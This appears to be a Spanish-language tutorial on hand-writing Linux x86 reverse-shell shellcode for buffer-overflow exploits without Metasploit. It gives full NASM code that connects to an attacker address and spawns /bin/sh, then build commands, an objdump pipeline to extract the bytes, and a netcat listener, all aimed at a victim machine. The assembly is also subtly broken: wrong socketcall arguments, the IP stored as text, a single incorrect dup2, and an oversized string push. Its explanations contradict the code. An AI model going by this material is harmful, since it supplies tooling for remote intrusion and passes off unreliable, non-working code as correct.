Generación Manual de Shellcode

bo

Para generar shellcode para un buffer overflow sin usar Metasploit (como con el comando msfvenom), puedes escribir el shellcode manualmente o usar herramientas alternativas. Si quieres hacerlo sin depender de Metasploit, una opción es generar el shellcode utilizando un ensamblador como nasm o utilizar alguna librería de shellcode ya disponible.

Vamos a ver como generar shellcode con asm (ensamblador).

Generar shellcode para una reverse shell en Assembly (ASM) implica varios pasos.

Codigo de assembly (ASM)

Este codigo nos dara una reverse shell en Linux

section .data
    ip_address db '192.168.1.100'  ; Dirección IP del atacante
    port dw 4444                   ; Puerto para la conexión

section .text
    global _start

_start:
    ; Crear un socket
    xor eax, eax                  ; limpiar eax
    mov al, 0x66                  ; syscall number para socketcall
    xor ebx, ebx                  ; tipo de socket (AF_INET)
    mov bl, 1                     ; SOCK_STREAM
    xor ecx, ecx                  ; protocolo (0 -> IP)
    int 0x80                      ; llamar al kernel
    mov esi, eax                  ; el descriptor de archivo del socket

    ; Conectar al servidor remoto
    xor eax, eax                  ; limpiar eax
    mov al, 0x66                  ; syscall number para socketcall
    mov ebx, 3                    ; sys_connect
    lea ecx, [esp + 8]            ; apuntar al sockaddr_in
    int 0x80                      ; llamar al kernel

    ; Redirigir la entrada/salida/errores a la conexión
    ; Duplica el descriptor del socket a stdin (0), stdout (1) y stderr (2)
    xor eax, eax                  ; limpiar eax
    mov al, 0x3f                  ; syscall number para dup2
    xor ebx, ebx                  ; descriptor de archivo (0 para stdin)
    mov bl, byte 0                ; descriptor de socket
    int 0x80

    ; Ejecutar /bin/sh
    xor eax, eax
    mov al, 0x0b                  ; syscall para execve
    xor ebx, ebx
    push ebx                       ; null terminator
    push dword '/bin/sh'           ; string /bin/sh
    mov ebx, esp                  ; apuntar a /bin/sh
    xor ecx, ecx                  ; NULL (sin argumentos)
    xor edx, edx                  ; NULL (sin variables de entorno)
    int 0x80                       ; llamada al kernel

    ; Salir
    xor eax, eax
    mov al, 1                     ; syscall para exit
    xor ebx, ebx
    int 0x80

Explicandote la Reverse Shell en asm

Socket (sys_socketcall): El primer paso es crear un socket de red. Usamos la syscall socketcall con el código 0 (crear socket) y especificamos el tipo de socket SOCK_STREAM (TCP).

Conexión (sys_socketcall): Luego, usamos socketcall con el código 3 (conectar). Pasamos la dirección IP y el puerto al que nos queremos conectar.

Redirección de descriptores: Usamos dup2 para redirigir los descriptores de archivo del socket a stdin, stdout y stderr, lo que nos permite interactuar con la shell de la máquina víctima.

Ejecutar /bin/sh (sys_execve): ejecutamos /bin/sh, la shell del sistema, sobre el socket para obtener acceso a la máquina comprometida.

Compilar Assembly (ASM)

vamos a ver como compilar el codigo

• Escribir el código en un archivo (reverse_shell.asm)

• Compilar y enlazar usando NASM y GCC:

nasm -f elf32 -o reverse_shell.o reverse_shell.asm
ld -m elf_i386 -s -o reverse_shell reverse_shell.o

• Extraer el shellcode:

Usa objdump para volcar el contenido del archivo ejecutable y extraer el shellcode:

objdump -d reverse_shell | grep '[0-9a-f]' | cut -f2 -d: | tr -d '\n' | sed 's/ //g'

Este comando te dará un string hexadecimal largo el cual es el shellcode.

Reverse Shell en assembly (ASM)

nos ponemos en escucha con netcat

nc -lvnp 4444

Luego, al ejecutar el shellcode en la máquina víctima, deberías obtener la shell reversa o al agregarlo en el exploit de buffer overflow al ejecutar